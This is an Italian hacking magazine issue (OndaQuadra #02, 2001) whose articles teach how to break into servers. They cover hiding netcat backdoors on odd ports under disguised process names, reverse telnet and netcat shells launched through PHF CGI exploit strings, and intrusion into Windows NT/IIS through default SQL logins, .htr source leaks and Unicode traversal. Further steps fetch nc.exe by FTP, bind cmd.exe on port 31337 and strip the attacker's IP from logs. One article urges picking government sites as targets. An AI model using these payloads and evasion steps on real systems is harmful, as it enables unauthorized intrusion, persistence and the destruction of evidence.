Certo ... lo dico io perchè il TRIT non lo sa !!! :PPPPP
Cazzo starete pensando a quale genialata ho messo in piedi !
Ebbene si ! ma che cazzo dico , da un mentecatto come me' al quale il buon
Trit ha impiegato 6 mesi per farme capire alcune cosucce cosa puo' saltar
fuori ?
Semplicemente il tutto e' scaturito a seguito di una affermazione di un
personaggio che mi disse che le porte su cui far lavorare il Netcat erano
ovviamente dalla 1 alla 65535 (in effetti esisterebbero solo quelle)
Ovviamente perchè 65535 sono quelle assegnate dalla IANA ! (questo l'ha detto
PHOBOS !!! se sono cazzate cazzi tuoi).
In teoria e' cosi' , ma in pratica le cose sono ben differenti !
Come Sysadm , a seguito di un intrusione da parte di ignoti , la prima cosa
che mi verrebbe da fare e' prendere un buon portscanner , vedi NMAP o
robaccia simile , e effettuare uno scan del sistema !
Bene verificato che nessuna nuova porta sia stata messa in listening ,
farei una verifica di tutti i servizi attivi presenti sulla mia macchina !
Ok ! qui sta il punto !
Diamo per scontato che se una macchina IIS riuschite a bucarla con il metodo
suscritto dell'unicode , vorra' dire che anche chi l'amministra non e' il
massimo della preparazione.
A questo punto ... per evitare di farsi sgamare la porta lasciata in
listening dal nostro netcat , potremo assegnare una porta anche al di fuori
del range standard (1 - 65535).
Avete mai pensato di poter mettere il netcat in ascolto sulla 9999999 ?
No ?! Bene cominciate a farlo ! Netcat lo permette e resta in attesa di
ordini da parte Vostra.
E qualsiasi scanner non arrivera' mai a rintracciarla !
Oppure che dite di una porta -21 ?
Credete che riuscira' a trovarla ? Chi ?! NMAP ? NO!!!!
Nmap non la trovera' !
Al limite l'unica cosa che restera' visibile sara' il processo in questione
che Voi bravi bravini rinominerete con un nome simile ad un processo di
sistema ! Vediamo per es. ipscan.exe , iflog.exe , spool.exe , e poi ... ma
insomma che cazzo volete che ne sappia io ! Inventate no ?!
Bene ! la cosa ovviamente non durera' in eterno , ma sicuramente il tempo
di durata di tutta sta manetta sara' direttamente proporzionale al grado di
preparazione di chi amministra la macchina. Preparatevi quindi ad una shell
abbastanza duratura.
Intanto nella speranza di avervi dato uno spunto di riflessione in piu' Vi
saluto e buon smanettamento a tutti !
Al prossimo articolo.
ciao !

---------TDI110CV----------
TDI110CV@ONDAQUADRA.CJB.NET


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| TELNET iNVERS0.............................................. [E4zy] 0x06/0x25 |
+-------------------------------------------------------------------------------+

Una sessione telnet inverso si rende utile quando, sul sistema che stiamo
attaccando, non è possibile ottenere una shell nel modo consueto in quanto
ciò ci viene impedito da un firewall che rifiuta qualsiasi connessione che
non provenga dal segmento interno della propria rete.
A questo punto all'attacker di turno non resta che cercare di lanciare una
sessione telnet inversa, ovvero una sessione telnet originata dal server
stesso che si sta cercando di attaccare, per fare questo l'hacker dovrà
servirsi di un exploit che facendo forza su un demone in esecuzione sul
sistema target gli permetta di originare tale canale di comunicazione, che
prende anche il nome di back channel (canale di ritorno).
Una volta stabilito che la sessione di comunicazione avrà origine dal
sistema bersaglio verso il sistema attaccante, quest'ultimo necessiterà di
una sessione netcat in grado di accettare le richieste inoltrate dal client
telnet, mettiamo così in ascolto due porte accertandoci che non siano già in
uso da qualche altro componente del sistema:

nc -l -n -v -p 80
nc -l -n -v -p 25

A questo punto siamo pronti per eseguire la sessione telnet inversa sul
sistema bersaglio servendoci di un exploit, visto che il sistema preso in
esame è coperto da un firewall la porta 80 sarà una delle poche che non sarà
protetta, di conseguenza sarà proprio sul web server che dovremo puntare per
avviare il nostro back channel.
Uno degli exploit più vecchi e più diffusi che affligge ancora oggi alcuni
server è il bug riscontrato in PHF, in questo caso questo vecchio exploit
cade proprio a fagiolo in quanto attuabile tramite la porta 80 e ci permette
di avviare il comando telnet in modo da dare origine alla sessione telnet
inversa, il comando che una volta eseguito sul server ci permetterà tutto
ciò è il seguente:

/bin/telnet nostro_ip 80 | /bin/sh | /bin/telnet nostro_ip 25

Vediamo di chiarire questo comando: la parte che precede il primo "|" (pipe)
avvia una sessione telnet inversa verso la nostra porta 80 che è messa in
listening dal netcat che di conseguenza è in grado di accettare la richiesta
di connessione in arrivo.
Il pipe ha la funzione di reindirizzare lo standard output, in questo caso
l'output della tastiera viene rediretto alla shell /bin/sh il cui output
viene nuovamente rediretto, dal secondo pipe, verso il nostro sistema ma
questa volta la porta coinvolta è la 25, essa è messa in listening dalla
seconda sessione netcat.
Ricapitolando, tutto ciò che scriviamo sulla prima sessione netcat (per
capirci quella che fa capo alla porta 80) viene rediretto alla shell che
risponde all'input di conseguenza, fornendo un suo output, ovvero il
risultato dei nostri comandi si renderà disponibile sulla seconda sessione
netcat (quella che fa capo alla porta 25). Le porte 80 e 25 non sono state
scelte casualmente, bensì sono 2 porte il cui traffico non è passibile di
filtraggio da parte del firewall.
L'esecuzione di tale comando è possibile inviando a PHF la seguente stringa:

/cgi-bin/phf?Qalias=x%0a/bin/telnet%20nostro_ip%2080%20|%20/bin/sh%20|%20/bin/telnet
%20nostro_ip%2025



_____________ _____________ _____________
|_Netcat______| |_Shell_______| |_Netcat______|
| nc -l -p 80 | | | | nc -l -p 25 |
| | -------> | | -------> | |
| | | | | |
|_____________| |_____________| |_____________|
local remote local




Nulla ci vieta di utilizzare come client direttamente lo stesso netcat (dal
server bersaglio) per originare il canale di ritorno, esso si rivela utile
rendendo il nostro compito molto più facile in quanto è in grado di
originare una sessione inversa e restituire la shell alla sessione in
ascolto sul nostro pc come specificato dal parametro -e, ma vediamo nei
dettagli di cosa si tratta...prima di tutto è necessario porre in listening
una porta del nostro pc, per far questo basterà procedere come visto in
precedenza:

nc -l -n -v -p 80

Una volta posta in ascolto la sessione netcat locale ci dovremmo preoccupare
di originare la sessione netcat inversa dal server bersaglio, per far ciò
dovremmo eseguire il seguente comando sul server remoto:

nc -e /bin/sh nostro_ip 80

Per far ciò dovremmo operare come descritto in precedenza ovvero servendoci
di un opportuno exploit (nel nostro caso è rappresentato dal bug del PHF)
che ci permetterà di eseguire il comando desiderato sul sistema remoto; ecco
la stringa relativa all'exploit del PHF:

cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20nostro_ip%2080

Tale comando, una volta processato dal web server, restituirà una shell
interattiva alla sessione netcat in esecuzione in locale.
Il vantaggio di utilizzare netcat è rappresentato dal fatto che non è più
necessario utilizzare una redirezione dell'output standard tramite pipe, ma
il programma client è autonomo in questo senso: utilizzando il parametro -e
restituisce il prompt della shell alla sessione in ascolto che fa capo
all'ip e alla porta specificata.



_____________ _____________
|_Netcat______| |_Netcat______|
| nc -l -p 80 | | |
| | <------> | | nc -e /bin/sh nostro_ip 80
| | | |
|_____________| |_____________|
local remote




+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| NT HACKiNG ............................................ [Tritemius] 0x07/0x25 |
+-------------------------------------------------------------------------------+

iNTR0
=====
Questa guida spiega come infiltrarsi da remoto in una macchina NT (4.0/
5.0) su cui e' installato Internet Information Server (il web server
della Microsoft:da ora IIS). Circa il 20% dei web server collegati
alla Rete utilizzano questa configurazione e buona parte di queste macchine
sono vulnerabili.
In assenza di IIS, si puo' tentare di penetrare da remoto tramite SQL
Server (porta tcp 1433). I clamorosi furti di carte di credito dello
scorso anno sono stati effettuati in questo modo.
Naturalmente rimangono tutti gli altri metodi "classici" (condivisioni
netbios, brute-force, dictionary attack, soc-eng...), ma visto che
esistono gia' molte guide che affrontano questi argomenti, qui non
verranno affrontati.
L'accesso al sistema e' solo un aspetto dell'intrusione, che e' un'azione
articolata e piena di difficolta' e insidie.
Come non lasciare traccia del proprio passaggio; come ottenere privilegi
superiori rispetto a quelli "guadagnati" con l'exploit; come rimanere
nel sistema e rientrare successivamente: queste problematiche verranno
affrontate in questo articolo.
L'autore non si assume nessuna responsabilita' rispetto all'uso che verra'
fatto delle informazioni qui pubblicate. Dopotutto questa non e' che
la raccolta organica di informazioni facilmente reperibili in Rete.

WE WANT iNF0RMATi0N
===================
Su questo non mi soffermo, ma sarebbe buona cosa informarsi prima di agire.
Cercare di capire com'e' configurata la rete, se ci sono firewall, quali
servizi sono disponibili. Date uno sguardo al sito web, spulciate le
pagine html, fate un whois per vedere chi avete di fronte. Cercate di
ottenere il numero maggiore informazioni sull'obiettivo: maggiori sono le
informazioni, maggiori sono le possibilita' di successo. Esistono tanti
tools interssanti: nmap,nslookup,traceroute... usateli !

1984
====
Prima di qualsiasi operazione e' bene sapere che in Internet NON siete
anonimi. Leggetevi qualche guida sull'anonimato: se avete dei dubbi lasciate
stare. Attenti ai telefoni fissi, a quelli mobili: cambiare SIM non basta...
Attenti alle cabine pubbliche. Non fidatevi del vostro provider, non fidatevi
troppo dei wingate e dei proxy che trovate nelle liste pubbliche...
Insomma: siate paranoici !

SQL SERVER
==========
SQL Server (giunto alla versione 7) e' il programma Microsoft che si
occupa della gestione dei database. Questa applicazione comunica su
reti tcp attraverso la porta 1433. Gli account possono essere gestiti
in due modi: in modalita' "SQL Server" oppure possono essere integrati
nel sistema, e quindi gestiti direttamente da NT attraverso le policy dei
normali account.
Se l'amministratore utilizza il primo metodo, l'account di default dell'utente
amministratore e' il seguente:
user: "sa"
password: nessuna
Inutile dire che in molti casi l'account non viene modificato...
A questo punto i casi sono due: o ci si collega a SQL Server tramite
l'Enterprise Manager (ma dovete averlo installato sul vostro sistema) e
andate a zonzo per i database a cercare roba interessante; oppure si usa
un exploit (SQLexec) che permette di eseguire da remoto comandi con privilegi
di amministratore. Tutto cio' se l'account e' standard. E se l'admin lo avesse
cambiato ? Noi non ci arrendiamo...

L'ESTENSi0NE .HTR
=================
Se l'amministratore ha provveduto a cambiare l'account di default di SQL
Server si puo' tentare di reperire le nuove impostazioni dalle pagine
asp.
Normalmente le pagine asp (Active Server Pages) vengono utilizzate per
creare pagine html dinamiche; le pagine asp contengono le istruzioni
per aprire i database o comunque possono contenere informazioni che
possono risultare utili.
Il problema e' che le pagine asp risiedono sul server e non possono essere
visuliazzate: almeno, non in condizioni normali...
Infatti, basta aggiungere '+.htr' al nome dello script e il server ci
inviera' il codice sorgente della pagina, password comprese !
In realta' dovremo puntare la nostra attenzione al file global.asa, un
file particolare che di solito contiene le informazioni piu' interessanti.
Quindi, digitando dal browser
http://www.vittima.com/global.asa+.htr
ci ritroveremo di fronte una pagina bianca: aprite il sorgente html e
troverete il codice dello script, che di solito contiene le istruzioni
di apertura del database: il gioco e' fatto.
Come sempre, non tutti i server sono vulnerabili a questo problema.
Ultimamente e'stato scoperto che anche le macchine "patchate" contro
questa vulnerabilita' rimangono "esposte" al problema. Modificando
leggermente la sintassi della richiesta http si ottiene lo stesso risultato:
invece di global.asa+.htr mettere global.asa+%3F.htr.

UNiC0DE
=======
E' giunto il momento di presentare il bug piu' macroscopico nella storia
dell'umanita': "Unicode Tranversal Directory" (Copyright Microsoft).
Per certi versi ricorda il bug del "phf" che alcuni anni fa fece fare
brutta figura addirittura alla CIA, ma oggi Internet ha una portata
molto piu' vasta rispetto al 97/98, e in fin dei conti il bug della Microsoft
probabilmente e' il piu' semplice dell'intera storia della "pirateria"
informatica !
Ma cosa fa in pratica questo bug ?
Quando vi collegate a un sito web vi trovate di fronte alla pagina
principale: siete nella root (radice) del sito: da qui potreste
avere accesso ai rami inferiori della struttura del sito (sottocartele);
ma non avete la possibilita' di "risalire" la gerarchia del sito "prima"
della pagina indice. Chi ha familiarita' con la linea di comando sa che
con 'cd ..' si risale alla directory di livello superiore nella struttura
ad albero della partizione su cui ci troviamo.
Se un web server permettesse questa operazione, sarebbe possibile "evadere"
dallo spazio dedicato agli utenti e andare a zonzo per tutto il sistema !
Un url del genere:
http://www.vittiam.com/..\..\autoexec.bat
ci permetterebbe di eseguire da remoto il file autoexec.bat o di leggere
qualsiasi file.
Molti web server minori hanno o hanno avuto questo problema (compresi i
web server inseriti in ICQ99).
Ebbene, IIS non e' direttamente esposto a questo problema: o meglio lo e'
ma non in questa forma. Qui entra in scena Unicode.
Unicode e' un formato di codifica di simboli, un po' come l'ascii; ma Unicode,
a differenza di ascii e' un codice a 16bit. Questo significa che ascii puo'
rappresentare 256 caratteri/simboli mentre Unicode ne puo' rappresentare
65536.
Torniamo a IIS. Quando al server della Microsoft viene sottoposta una richiesta
come quella vista sopra ("..\..\") riconoscendola come errata la scarta; ma
quando si trova di fronte dei codici Unicode, li interpreta e li esegue come
se fossero legittimi ! Quindi, se al posto di "..\..\" mettiamo "..%c0%af.."
IIS lo considera un URL idoneo e lo esegue; ma c'e' un problema %c0%af
corrisponde al carattere "\"... Ingannando IIS in questo modo, riusciamo a
"evadere" dalla root del web server. Il prossimo passo e' cercare l'interprete
di comandi.
Lanciare comandi da remoto e' molto semplice, si puo' fare anche dal browser. E'
piu' comodo farlo ricorrendo a uno dei numerosissimi exploit in circolazione (vedi
hack.co.za, packetstorm.securify.com)

NOTA: Anche il Personal Web Server fornito con Windows 98 e' afflitto da questo
problema, quindi se lo avete installato...

STRUMENTi NECESSARi
===================
Poter eseguire comandi non serve a niente in se; e' necessaria una shell
interattiva. dei tools per gestire i processi, magari uno sniffer :)
nc.exe, il netcat, ci servira' per aprire una shell (cmd.exe);
pslist.exe
pskill.exe
rispettivamente per listare i processi in esecuzione (e ricavare quindi
il PID,"Process ID"), e per "killare" il processo.
Questi programmi sono utilissimi sopratutto per killare istanze di nc e
cmd o altri programmi che sono rimasti "erroneamente" in esecuzione...
Inoltre server pdh.dll, libreria dinamica senza la quale pslist e pskill
non funzionano... Questi programmi fanno parte di una suite molto
interessante. Questi progeammi li trovate qui:
http://www.sysinternals.com


CARiCARE FiLE
=============
Ok, possiamo eseguire comandi, ma ci serve una shell interattiva: come
fare ? Semplice: usiamo il client ftp di NT per scaricare una backdoor
che avremo sistemato in precedenza su un sito ftp al quale possiamo
accedere.
Purtroppo non posiamo interagire con il client ftp come se ci trovassimo
alla console, quindi dovremo creare uno script e richiamare l'ftp
da remoto tramite uno degli exploit di cui abbiamo parlato prima.
Lo script avra' questo aspetto:

open ftp.tuosito.com
tuousername
tuapassword
binary
get nc.exe
quit

Quindi da reomoto eseguiremo

ftp -s:nomescript

Se tutto e' andato bene ci troveremo il netcat (nc.exe) sul server !
I file che portate a bordo metteteli in un ripostiglio "nascosto": create
una directory e attivate l'attributo "h" (hidden, nascosto)
attrib +h nomedir
ATTENZIONE: nell'explorer la cartella restera' visibile, quindi gia' che
ci siete, datele un nome che la possa far identificare come cartella di
sistema.


APRiRE UNA SHELL
================
Aprire una shell e' abbastanza semplice a questo punto:
nc -l -p 31337 -d -e cmd.exe dove
nc -l -p dice al netcat di aprire una porta tcp, in questo caso la 31337;
-d vuol dire "detach", esegue il processo in background; -e esegue cmd.exe
ovvero l'interprete di comandi si NT.
Proviamo a collegarci con telnet sul server-vittima alla porta 31337 e
ci troviamo di fronte il prompt msdos ! Una volta disconnessi pero'
la porta sara' irrimediabilmente chiusa. Sostiutendo la "-l" con "-L"
la backdoor restera' in ascolto anche dopo il termine della sessione.

FiREWALL
========
Fin qui tutto bene, se non fosse per la presenza di firewall. Ok, avete
"bindato" cmd.exe sulla porta tcp 31337, vi collegate e... "connection
refused" ! Perche' ? Probabilemtente un firewall blocca le porte non
necessarie. E allora ?
Spesso le porte "basse" sono aperte (provate la 99 per esempio). Se l'Admin
e' proprio una carogna ha lasciato aperto solo le porte strettamente
neccessarie... C'e' ancora una speranza.
Se sulla macchina e' attivo un server ftp e' fatta. L'ftp usa 2 porte
standard: la 21 per i comandi e la 20 per il trasferimento dei dati: tombola!
la shell la mettiamo sulla 20!
Prima di agire, utilizzate nmap per capire se una porta e' aperta o e' filtrata
dal firewall. Questo vi evitera' pericolose complicazioni.


i L0G Di NT
===========
NT mantiene traccia delle operazioni delle operazioni relative al sistema
tramite 3 log:
1) software.log
registra le attivita' delle applicazioni. Quando un programma presenta
un malfunzionamento l'evento viene registrato qui.
2) security.log
questo log registra i tentativi di logon falliti, i tentativi di
accesso a risorse da parte di utenti non autorizzati etc.
Per default non logga niente...
3) system.log
Qui vengono registrati glii eventi relativi al systema (shutdown,
problemi relativi ai servizi...)
Questi file di registro, che per default si trovano sotto \WINNT\System32
\config, vengono visualizzati tramite un particolare tool, l'Event Viewer.
Solo l'amministratore ha accesso a questi file.
In caso di intrusione dal Web (vedi bug di IIS), questi log sono del tutto
inutili dal punto di vista della sicurezza. L'attacker nella maggior parte
dei casi li puo' tranquillamente ignorare: puo' fare gran parte del lavoro
SENZA avere i privilegi di Administrator...
Comunque tenete presente che dall'Event Viewer l'amministratore puo' tenere
d'occhio gran parte delle attivita' della macchina, e alcuni messaggi potrebbero
insospettirlo.

i L0G Di iNETiNF0
=================
Inetinfo.exe e' il programma che gestice l'Internet Information Server
(IIS per gli amici), il server FTP, eventualmente il server SMTP.
Questo programma immagazzina i log relativi alla propria attivita' nella
directory di default WIINT\System32\logfiles.
Questi log possono avere 3 formati:
1) Il formato W3C che ha questo aspetto:

13:41:16 10.0.0.11 GET /iisstart.asp 302
13:41:16 10.0.0.11 GET /localstart.asp 401
13:41:28 10.0.0.11 GET /prova/ 302
13:41:28 10.0.0.11 GET /prova/Default.htm 200
13:44:07 10.0.0.11 GET /Default.htm 200

L'ip registrato ovviamente e' quello del client.

2) Il formarto NCSA:

10.0.0.11 - - [07/Feb/2001:09:15:38 +0100] "GET /Default.htm HTTP/1.1" 200 326

3) Il formato IIS:

10.0.0.11, -, 07/02/2001, 9.19.19, W3SVC1, COMP, 10.0.0.11, 211, 242, 326, 200, 0, GET, /Default.htm, -,

Il formato NCSA puo' essere personalizzato dall'amministratore, aggiungendo
campi per rendere piu' dettagliata l'attivita'.
Anche il criterio di creazione di questi file e' personalizzabile. Si puo'
fare in modo che venga creato un file ogni giorno, ogni sttimana, ogni mese;
oppure al raggiungimento di una certa dimensione.
Questi file possono essere manipolati dall'utente IUSR_MACHINE; cio' significa
che se entrate tramite un bug di IIS sarete in grado di modificare questi log
SENZA avere i privilegi di amministratore, con l'eccezione del file in uso
dal sistema.

M0DiFiCARE i FiLE Di iNETiNF0
=============================
Molto semplice, come sotto Unix: cambia il nome dei comandi, ma in pratica
si opera allo stesso modo.
Se vogliamo eliminare tutte le entry con il nostro ip basta eseguire

type ex010101.log | find /V "192.168.0.2" > temp
del ex010101.log
move temp ex010101.log

Type mostra il file sullo standard-output; find /V filtra tutte le linee
dove non e' presente (/V) il nostro ip (192.168.0.2). Quindi memorizziamo
in un file temporaneo, eliminiamo l'originale e rinominiamo il file
temporaneo: di noi non c'e' piu' traccia...
Ancor meglio sarebbe scrivere un programma.

Pero' abbiamo visto che c'e' un problema: il file di log in uso non e'
modificabile: se il file venisse rilasciato dopo 6 mesi, le tracce
rimarrebbero li ben visibili, senza possibilita' di scampo. La soluzione ?
Semplice: si "libera" il file in questione, "killando" il processo inetinfo.exe,
nodificando il file come visto sopra e riavviando inetinfo.exe !
Con pslist.exe otteniamo la lista dei pid; cerchiamo quello di inetinfo;
lo killiamo con pskill.exe, modifichiamo il log e riavviamo il servizio
lanciando il programma inetinfo.exe che si trova sotto WINNT\System32\inetsrv.
Vi e' pero' un piccolo particolare: per killare inetinfo bisogna avere i
permessi di Administrator...
Il bug di SQL e l'exploit da remoto del IPP (Internet Printing Protocol) su IIS5
danno questi privilegi.

IIS/SERV-U: C0PiA LETALE
========================
Esistono diversi modi sotto NT per scalare i privilegi: gli exploit "getadmin",
"sechole","secholed","sqlexec"; la possibilita' di installare uno sniffer e
carpire le password, il recupero del file degli hash di sistema (sam._),
la ricerca di informazioni nei file .ini delle applicazioni installate.
Io vorrei porre l'accento proprio su questo punto. Su parecchi sistemi si
puo' trovare l'ftp server Serv-U. Questo programma memorizza le password
di accesso appunto in un file ini. Ora, tenetevi forte: le password possono
essere IN CHIARO o criptate con DES; inoltre il file e' leggibile da chiunque.
Se le password sono criptate, basta prelevare il file, recuperare gli hash
e crackarli con John the Ripper o programma analogo. Se l'Admin ha inibito
l'accesso delle directory del web a IUSR_MACHINE, voi ci rientrate tramite
ftp !

C0NCLUSi0NE
===========
Questa e' solo una piccola parte di quello che ci sarebbe da dire. Esistono
altri exploit (ne sono usciti alcuni clamorosi mentre scrivevo questo articolo),
altre insidie. Non ho parlato dell'utilizzo di sniffer, delll'installazione
di backdoor... ci penseranno altri.
Inoltre sarebbe utile scrivere un articolo completo sul modello di sicurezza
di NT (4 e 5), e sulle reti Microsoft, argomenti abbastanza complessi e trattati
solo su costosi manualoni.
Per concludere voglio solo ricordare che il fatto che un exploit sia facile da
eseguire e un bug semplice da sfruttare, non significa che un'intrusione sia un'azione da prendere alla leggera: mai.
Siete pregati di non utilizzare queste informazioni per partecipare alla
stupidissima gara "a chi ne buca di piu'".
Non inviatemi email con richieste di approfondimenti: la trattazione
dell'argomento da parte mia si arresta qui.

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 |
| VULNERABiLiTA' Di iiS .......................... [MightyInquisitor] 0x08/0x25 |
+-------------------------------------------------------------------------------+

/------------------------------------------------------------------\
|-Titolo: VULNERABILITA' DELLE RETI WINDOWS versione 2.0-----------|
|-Data: 8 Maggio 2001----------------------------------------------|
|-Autore: MightyInquisitor-----------------------------------------|
|-E-mail: mightyinquisitor@libero.it-------------------------------|
|-Home-page: http://mightyinquisitor.cjb.net/----------------------|
|-IRC: irc.azzurra.it - canali: #chiHACKERare, #HackzXtreme, #Hack-|
\------------------------------------------------------------------/


/------------------------DiSCLAiMER-LEGALi-------------------------\
|-------------------------------------------------

  
-----------------|
|QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0'-------|
|L'AUTORE, MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0-|
|CHE POTREBBE ESSERNE FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi--|
|VOLESSE SERViRSENE PER SC0Pi iLLEGALi.----------------------------|
|------------------------------------------------------------------|
\------------------------------------------------------------------/


/-----------\
|0 - iNDiCE-|
\-----------/

0 - iNDiCE
1 - PREMESSA
2 - REQUiSiTi
3 - CERCARE UN H0ST VULNERABiLE
4 - TESTARE LA SUA VULNERABiLiTA'
4.1 - DA WiNDOWS
4.1.1 - MET0D0 1
4.1.2 - MET0D0 2
4.2 - DA LiNUX
5 - SF0GLiARE LE CARTELLE DEL SERVER VULNERABiLE
5.1 - DA WiND0WS 0 DA LiNUX
5.1.1 - MET0D0 1
5.1.2 - MET0D0 2
6 - ALTERARE iL C0NTENUT0 DEL SERVER VULNERABiLE
6.1 - DA WiND0WS 0 DA LiNUX
6.1.1 - MET0D0 1
6.1.2 - MET0D0 2
7 - ViRTU0SiSMi TECNiCi
8 - ADESS0 SEi UN HACKER. 0 N0?
9 - GLi EXPL0iTS


/-------------\
|1 - PREMESSA-|
\-------------/

In questa versione, del tutto nuova, di questo testo, ho implementato molte
notizie, tra cui la spiegazione di come mettere in pratica il testo usando
windows, cosa che avevo trascurato nelle precedenti versioni. Ho deciso di farlo perche'
mi e' stato chiesto da molte persone in chat.

Molte persone pensano che queste informazioni non dovrebbero essere pubblicate.
Al contrario Io credo sia utile farlo perche' molti siti di governi
stranieri (...e non solo) vengono hakkati in continuazione.
Ho costatato, con dispiacere, che ci sono molte imprese che non si preoccupano
della sicurezza, avvolte non sanno nemmeno cosa fare: hanno le proprie pagine
hakkate, i loro server "invasi", e cio' nonostante non si preoccupano di rimediare
alla vulnerabilita' dei propri server.
Purtroppo in Italia questo fenomeno è abbastanza diffuso, soprattutto perche' viviamo
in un paese "microsoft dipendente" e di conseguenza i server sono molto vulnerabili.
Molte imprese non hanno la consapevolezza che necessitano di un team, denominato
Security Officiers, che si occupi esclusivamente della sicurezza delle reti all'interno
dei propri stabilimenti.
Spero che la divulgazione di questo testo possa aiutare gli amministratori a difendere
al meglio le proprie reti.
Cercherò ora di spiegare passo dopo passo come un hacker, in molti casi cracker,
riesce ad ottenere l'accesso ad un server vulnerabile (lo sono tutti o quasi) che gira
su piattaforma Microsoft Windows NT IIS 4.0/5.0 UNICODE Directory Trasversal.

Segue ora un elenco dei sistemi operativi e dei programmi vulnerabili:

Microsoft IIS 5.0
- Microsoft Windows NT 2000
Microsoft IIS 4.0
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0


/--------------\
|2 - REQUiSiTi-|
\--------------/

Prima di intraprendere la lettura di questo testo e' bene conoscere alcuni concetti
di informatica quali:
1. Avere una connessione ad internet (eHeH ovviamente ;-))
2. Sapere usare almeno un po' linux (qualsiasi distribuzione va bene)
3. Conoscere la terminologia informatica. Sapere quindi cos'e' un host, un server,
una rete, ecc...


/--------------------------------\
|3 - CERCARE UN H0ST VULNERABiLE-|
\--------------------------------/

Proprio perche' piu' del 60% dei server al mondo girano su piattaforma Windows IIS
4.0/5.0, non credo avrete difficolta' a trovarne uno.
Generalmente gli host piu' ricercati sono i piu' conosciuti, come siti del governo,
aziende in mano allo Stato e cosi' via, insomma siti mondialmente conosciuti e
facilmente trovabili.


/----------------------------------\
|4 - TESTARE LA SUA VULNERABiLiTA'-|
\----------------------------------/

Per testare la vulnerabilita' di un host bisogna fargli uno scan mediante un programma
di una determinata categoria di software denominata 'scanner'.
Esistono scanners che ricercano le falle (i bugs) all'interno dei servers attivi.
Questi scanners verificano se qualche servizio del server è vulnerabile, e quindi se la
falla non è ancora stata corretta.
Per testare questa vulnerabilita' esistono scanners sia per windows che per linux.
Personalmente per windows ti consiglio il SSS - Security Shadow Scanner (scaricabile
da http://www.rsh.kiev.ua) oppure l'utilizzazione (possibile, a differenza di quello che
alcuni pensano) di uno scanner scritto in perl: unicodecheck.pl (uni.pl) di soli 1.45kb
(scaricabile da http://www.securityfocus.com/ o da http://packetstorm.securify.com/).
Da linux personalmente mi trovo molto bene con l'unicodecheck.pl quindi vi consiglio di
usarlo anche con il 'free software'.
Segue una breve spiegazione su come testare la vulnerabilita' dei server windows nei
modi sopra citati:

-----------------
4.1 - DA WiND0WS-
-----------------

4.1.1 - MET0D0 1-
-----------------
SSS - Security Shadow Scanner: Non ha misteri per la sua utilizzazione vista
l'interfaccia user friendly (proprio come piace agli utenti "microsoft dipendendi").
Basta cliccare su 'Scanner', selezionare un 'Complete Scan', editarlo, cliccare su
'Next' due volte, cliccare quindi su 'Add Host' riempire il campo con l'IP da
esaminare; cliccare su 'Done' e iniziare lo "scannamento" cliccando su 'Start Scan'.
Quando trovera' la falla di sistema ti avviserà con un messaggio rosso dicendo che
l'host e' vulnerabile al msdac.dll.

4.1.2 - MET0D0 2-
-----------------
unicodecheck.pl: Per poter utilizzare un file con estensione .pl da windows e'
necessario utilizzare un programma che li legga ovvero un software 'ActivePerl'
scaricabile dal sito http://http://www.activeperl.com/ASPN/Downloads/ActivePerl/
(sono 8mb circa ma ne vale la pena se non avete voglia di usare linux).
Una volta scaricato, installatelo e salvate i 3 exploits della serie unicode
nella cartella 'c:\perl\bin'.
Aprite un prompt dei comandi ms-dos, entrate nella directory del programma con
il comando 'cd..' seguito dal comando 'cd perl\bin' e scrivete 'perl
unicodecheck.pl XXX.XXX.XXX.XXX:80' (XXX.XXX.XXX.XXX e' l'indirizzo ip dell'host
bersaglio, se non lo sai puoi inserire direttamente il dominio www.host-bersaglio.com).
Premi 'enter' e aspetta qualche secondo.
Se il server di questo host e' vulnerabile ti apparira' la scritta: 'Testing
XXX.XXX.XXX.XXX:80 : Vulnerable' altrimenti ti apparira' scritto: 'Testing
XXX.XXX.XXX.XXX:80 : Safe'.

---------------
4.2 - DA LiNUX-
---------------
unicodecheck.pl: Apri un terminale e posizionati nella directory dove e'
contenuto il file .pl ed esegui il comando: perl unicodecheck.pl XXX.XXX.XXX.XXX:80
(XXX.XXX.XXX.XXX e' l'indirizzo ip dell'host bersaglio, se non lo sai puoi inserire
direttamente il dominio www.host-bersaglio.com). Premi 'enter' e aspetta qualche secondo.
Se il server di questo host e' vulnerabile ti apparira' la scritta: 'Testing
XXX.XXX.XXX.XXX:80 : Vulnerable' altrimenti ti apparira' scritto: 'Testing
XXX.XXX.XXX.XXX:80 : Safe'.


/-------------------------------------------------\
|5 - SF0GLiARE LE CARTELLE DEL SERVER VULNERABiLE-|
\-------------------------------------------------/

Per frugare tra le directory del server vulnerabile ci sono fondamentalmente due metodi.
Uno consiste nell'utilizzo degli altri due exploit della serie unicode e l'altro
nell'utilizzo del proprio browser per mezzo di solo alcune righe di comando.
Questo metodo e' molto comodo e semplice perche' non necessita di alcun tipo di software
ulteriore, ma soltanto di uno sfogliatore.

----------------------------
5.1 - DA WiND0WS 0 DA LiNUX-
----------------------------

5.1.1 - MET0D0 1-
-----------------
exploits: Per prima cosa devi andare a scaricare gli altri due exploits
(unicodexecute.pl da 1.27kb e unicodexecute2.pl da 2.24kb) da
http://www.securityfocus.com/ oppure da http://packetstorm.securify.com/. Questi
due exploits ti servono per "gestire" l'host bersaglio visto che hai gia' attestato
la sua vulnerabilita'.
Sullo stesso prompt di ms-dos che hai gia' aperto (se usi windows) o sullo stesso
terminale (se usi linux) esegui il comando:
perl unicodexecute.pl XXX.XXX.XXX.XXX:80 dir+c:\ (se non funziona con unicodexecute.pl
prova con unicodexecute2.pl).
Ti apparira' la scritta: 'Executing dir c: on XXX.XXX.XXX.XXX:80' e ti mostrerà
una serie di dati del server seguita dall'elenco delle directory e dei files contenuti
nella unita' c:\ del server che sara' molto simile alla seguente:

http/X.X XXX OK
Server: Microsoft-IIS/X.0
Date: la data di oggi
Content-Type: xxx (puo' variare da sistema a sistema)
Volume in drive C has (no) label
